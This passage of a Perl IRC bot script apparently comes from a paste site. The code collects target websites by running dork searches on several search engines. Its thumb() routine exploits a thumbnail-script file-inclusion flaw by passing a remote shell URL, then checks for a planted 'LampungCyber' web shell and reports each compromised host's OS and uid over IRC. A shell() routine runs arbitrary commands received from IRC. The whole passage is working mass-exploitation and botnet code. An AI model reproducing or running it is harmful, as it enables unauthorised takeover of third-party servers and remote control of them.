  1409.         while ($res =~ m/<a class="sc_result result" href=\"http:\/\/(.+?)\"/g) {
  1410.             if ($1 !~ /rakuten/){
  1411.             my $link = $1;
  1412.                 my @grep = &links($link);
  1413.                 push(@list,@grep);
  1414.             }
  1415.         }
  1416.     }
  1417.     return @list;
  1418. }
  1419.  
  1420. sub biglobe {
  1421.   my $key = $_[0];
  1422.   my @list;
  1423.   for ($b=1; $b<=500; $b+=10) {
  1424.     $num += $num;
  1425.     my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$b."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all";
  1426.     my $res = search_engine_query($search);
  1427.     while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  1428.         if ($1 !~ /biglobe/){
  1429.         my $link = $1;
  1430.                 my @grep = &links($link);
  1431.                 push(@list,@grep);
  1432.             }
  1433.         }
  1434.     }
  1435.     return @list;
  1436. }
  1437.  
  1438. sub nova() {
  1439.     my @list;
  1440.     my $key = $_[0];
  1441.     for ($b=1; $b<=500; $b+=10) {
  1442.         $num += $num;
  1443.         my $search = ("http://nova.rambler.ru/srch?query=".&key($key)."&page=".$b."&start=".$num);
  1444.         my $res = search_engine_query($search);
  1445.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1446.             if ($1 !~ /rambler|cache/){
  1447.             my $link = $1;
  1448.                 my @grep = &links($link);
  1449.                 push(@list,@grep);
  1450.             }
  1451.         }
  1452.     }
  1453.     return @list;
  1454. }
  1455.  
  1456. sub najdi() {
  1457.     my @list;
  1458.     my $key = $_[0];
  1459.     for ($b=1; $b<=500; $b+=10) {
  1460.         $num += $num;
  1461.         my $search = ("http://www.najdi.si/search.jsp?q=".&key($key)."&o=".$b."&maxHitsPerGroup=".$num);
  1462.         my $res = search_engine_query($search);
  1463.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g) {
  1464.             if ($1 !~ /najdi|cache/){
  1465.             my $link = $1;
  1466.                 my @grep = &links($link);
  1467.                 push(@list,@grep);
  1468.             }
  1469.         }
  1470.     }
  1471.     return @list;
  1472. }
  1473.  
  1474. sub goo() {
  1475.     my @list;
  1476.     my $key = $_[0];
  1477.     for ($b=1; $b<=500; $b+=10) {
  1478.         my $search = ("http://search.goo.ne.jp/web.jsp?STYPE=web&OE=UTF-8&MT=".&key($key)."&IE=UTF-8&FR=".$b."&from=pager");
  1479.         my $res = search_engine_query($search);
  1480.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  1481.             if ($1 !~ /goo/){
  1482.             my $link = $1;
  1483.                 my @grep = &links($link);
  1484.                 push(@list,@grep);
  1485.             }
  1486.         }
  1487.     }
  1488.     return @list;
  1489. }
  1490.  
  1491. sub uksubmit() {
  1492.     my @list;
  1493.     my $key = $_[0];
  1494.     for ($b=1; $b<=500; $b+=10) {
  1495.         my $search = ("http://www.uksubmit.co.uk/index.php?query=".&key($key)."&searchType=Web&page=".$b);
  1496.         my $res = search_engine_query($search);
  1497.         while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
  1498.             if ($1 !~ /uksubmit/){
  1499.             my $link = $1;
  1500.                 my @grep = &links($link);
  1501.                 push(@list,@grep);
  1502.             }
  1503.         }
  1504.     }
  1505.     return @list;
  1506. }
  1507.  
  1508. sub excite() {
  1509.     my @list;
  1510.     my $key = $_[0];
  1511.     for ($b=1; $b<=500; $b+=10) {
  1512.         $num += $num;
  1513.         my $search = ("http://msxml.excite.com/excite/ws/results/Web/".$key."/".$b."/0/0/Relevance/zoom=off/qi=".$num."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
  1514.         my $res = search_engine_query($search);
  1515.         while ($res =~ m/status='http:\/\/(.*?)';/g) {
  1516.             if ($1 !~ /excite|google|Yahoo/){
  1517.             my $link = $1;
  1518.                 my @grep = &links($link);
  1519.                 push(@list,@grep);
  1520.             }
  1521.         }
  1522.     }
  1523.     return @list;
  1524. }
  1525.                
  1526. #######################################################################################################################################            
  1527. sub thumb() {
  1528.         my $chan = $_[0];
  1529.         my $bug = $_[1];
  1530.         my $dork = $_[2];
  1531.         my $engine = $_[3];
  1532.         my $count = 0;
  1533.         my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  1534.         my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) {
  1535.                 &msg("$chan","$thumblogo0(4,1@8,1$engine0)2,1 Scan finish");sleep(1); }
  1536.         my $vuln = "http://".$site.$bug."?src=".$thumbshell; (
  1537.             my $bery = $bug)=~ s{/[^/]+\z}{}; (
  1538.             my $bery2 = $bug)=~ s{/[^/]+\/[^/]+\z}{};
  1539.         my $vuln2 = "http://".$site.$bery.$folder1;
  1540.         my $vuln3 = "http://".$site.$bery.$folder2;
  1541.         my $vuln4 = "http://".$site.$bery.$folder3;
  1542.         my $vuln5 = "http://".$site.$bery.$folder4;
  1543.         my $vuln6 = "http://".$site.$folder5;
  1544.         #my $vuln7 = "http://".$site.$bery2.$folder1;
  1545.         #my $vuln8 = "http://".$site.$bery2.$folder2;
  1546.         #my $vuln9 = "http://".$site.$bery2.$folder3;
  1547.         #my $vuln10 = "http://".$site.$bery2.$folder4;
  1548.        
  1549.         my $cek  = &get_content($vuln);sleep(1);
  1550.         if ($cek =~ /Unable to open image/i) {
  1551.         &msg("$chan","$thumblogo(4@8,1$engine0)8,1e3,1x7,1p5,1l6,1o2,1i11,1t4,1i0,1n12,1g8,1 http://$site");sleep(1);
  1552.        
  1553.             my $check1 = &get_content($vuln2);sleep(1);
  1554.             my $check2 = &get_content($vuln3);sleep(1);
  1555.             my $check3 = &get_content($vuln4);sleep(1);
  1556.             my $check4 = &get_content($vuln5);sleep(1);
  1557.             my $check5 = &get_content($vuln6);sleep(1);
  1558.             #my $check6 = &get_content($vuln7);sleep(1);
  1559.             #my $check7 = &get_content($vuln8);sleep(1);
  1560.             #my $check8 = &get_content($vuln9);sleep(1);
  1561.             #my $check9 = &get_content($vuln10);sleep(1);
  1562.             my $os          = "";
  1563.             my $free        = "";
  1564.             my $uid         = "";
  1565.        
  1566.             if ($check1 =~ /-LampungCyber/i) {
  1567.             if ($check1 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1568.             if ($check1 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1569.             if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1570.             &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 ((safemode=$safe) (OS=$os) (uid=$uid");
  1571.             &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 ((safemode=$safe) (OS=$os) (uid=$uid");
  1572. }
  1573.            
  1574.             if ($check2 =~ /-LampungCyber/i) {
  1575.             if ($check2 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1576.             if ($check2 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1577.             if ($check2 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1578.             &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln3."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
  1579.             &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln3."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
  1580. }
  1581.            
  1582.             if ($check3 =~ /-LampungCyber/i) {
  1583.             if ($check3 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1584.             if ($check3 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1585.             if ($check3 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1586.             &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln4."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
  1587.             &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln4."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
  1588. }
  1589.            
  1590.             if ($check4 =~ /-LampungCyber/i) {
  1591.             if ($check4 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1592.             if ($check4 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1593.             if ($check4 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1594.             &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln5."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
  1595.             &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln5."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
  1596. }
  1597.            
  1598.             if ($check5 =~ /-LampungCyber/i) {
  1599.             if ($check5 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1600.             if ($check5 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1601.             if ($check5 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1602.             &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln6."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
  1603.             &msg("mahluk","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln6."3,1 (safemode=$safe) (OS=$os) (uid=$uid");
  1604. }
  1605.            
  1606.             #if ($check6 =~ /-LampungCyber/i) {
  1607.             #if ($check6 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1608.             #if ($check6 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1609.             #if ($check6 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1610.             #&msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln7."3,1 (safemode=$safe) (OS=$os) (uid=$uid"); }
  1611.                                              
  1612.            
  1613.             #if ($check7 =~ /-LampungCyber/i) {
  1614.             #if ($check7 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1615.             #if ($check7 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1616.             #if ($check7 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1617.             #&msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln8."3,1 (safemode=$safe) (OS=$os) (uid=$uid"); }
  1618.                                            
  1619.                                            
  1620.            
  1621.             #if ($check8 =~ /-LampungCyber/i) {
  1622.             #if ($check8 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1623.             #if ($check8 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1624.             #if ($check8 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1625.             #&msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln9."3,1 (safemode=$safe) (OS=$os) (uid=$uid"); }
  1626.                                            
  1627.                                            
  1628.            
  1629.             #if ($check9 =~ /-LampungCyber/i) {
  1630.             #if ($check9 =~ m/color=lime>(.*?)<\/font>/) {$os = $1;}
  1631.             #if ($check9 =~ m/color=#3366FF><b>(.*?)<\/b><\/font>/) {$safe = $1;}
  1632.             #if ($check9 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1633.             #&msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln10."3,1 (safemode=$safe) (OS=$os) (uid=$uid"); }
  1634.                                             }
  1635. }
  1636. }
  1637. }
  1638.                                                                
  1639. sub isFound() {
  1640.     my $status = 0;
  1641.     my $link = $_[0];
  1642.     my $reqexp = $_[1];
  1643.     my $res = &get_content($link);
  1644.     if ($res =~ /$reqexp/) {
  1645.     $status = 1 }
  1646.     return $status;
  1647.             }
  1648.            
  1649. sub get_content() {
  1650.     my $url = $_[0];
  1651.     my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(7);
  1652.     my $req = HTTP::Request->new(GET => $url);
  1653.     my $res = $ua->request($req);
  1654.     return $res->content; }
  1655.    
  1656. sub clean() {
  1657.     my @cln = ();
  1658.     my %visit = ();
  1659.     foreach my $element (@_) { $element =~ s/\/+/\//g;
  1660.     next if $visit{$element}++; push @cln, $element; }
  1661.     return @cln;
  1662.     }
  1663.    
  1664. sub key() {
  1665.     my $dork = $_[0];
  1666.     $dork =~ s/ /\+/g;
  1667.     $dork =~ s/:/\%3A/g;
  1668.     $dork =~ s/\//\%2F/g;
  1669.     $dork =~ s/\?/\%3F/g;
  1670.     $dork =~ s/&/\%26/g;
  1671.     $dork =~ s/\"/\%22/g;
  1672.     $dork =~ s/,/\%2C/g;
  1673.     $dork =~ s/\\/\%5C/g;
  1674.     $dork =~ s/@/\%40/g;
  1675.     $dork =~ s/\[/\%5B/g;
  1676.     $dork =~ s/\]/\%5D/g;
  1677.     $dork =~ s/\?/\%3F/g;
  1678.     $dork =~ s/\=/\%3D/g;
  1679.     $dork =~ s/\|/\%7C/g;
  1680.     return $dork; }
  1681.    
  1682. sub links() {
  1683.     my @list;
  1684.     my $link = $_[0];
  1685.     my $host = $_[0];
  1686.     my $hdir = $_[0]; $hdir =~ s/(.*)\/[^\/]*$/$1/;
  1687.                         $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1688.                         $host .= "/"; $link .= "/";
  1689.                         $hdir .= "/";
  1690.                         $host =~ s/\/\//\//g;
  1691.                         $hdir =~ s/\/\//\//g;
  1692.                         $link =~ s/\/\//\//g;
  1693.                         push(@list,$link,$host,$hdir); return @list; }
  1694.                        
  1695. sub search_engine_query($) {
  1696.     my $url = $_[0];
  1697.     $url =~ s/http:\/\///;
  1698.     my $host = $url;
  1699.     my $query = $url;
  1700.     my $page  = ""; $host =~ s/href=\"?http:\/\///;
  1701.                     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1702.                     $query =~ s/$host//; if ($query eq "") {
  1703.                     $query = "/"; } eval {
  1704.                     my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1705.                     print $sock "GET $query HTTP/1.0\r\nHost:
  1706.                     $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n"; my @pages = <$sock>; $page = "@pages"; close($sock); };
  1707.                     return $page; }
  1708.                    
  1709. sub shell() {
  1710.     my $path = $_[0];
  1711.     my $cmd = $_[1];
  1712.     if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; }
  1713.     elsif ($pid = fork) { waitpid($pid, 0); }
  1714.         else { if (fork) { exit; }
  1715.     else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output");
  1716.     if ($c == 5) { $c = 0; sleep 2; } }
  1717.     exit; }}
  1718.     }
  1719.    
  1720. sub isAdmin() {
  1721.     my $status = 0;
  1722.     my $nick = $_[0];
  1723.     if ($nick eq $admin) {
  1724.     $status = 1; } return $status; } sub msg() { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); }
  1725.    
  1726. sub nick() {
  1727. return unless $#_ == 0; sendraw("NICK $_[0]"); }
  1728.  
  1729. sub notice() {
  1730. return unless $#_ == 1;
  1731. sendraw("NOTICE $_[0] :$_[1]"); }
Add Comment
Please, Sign In to add comment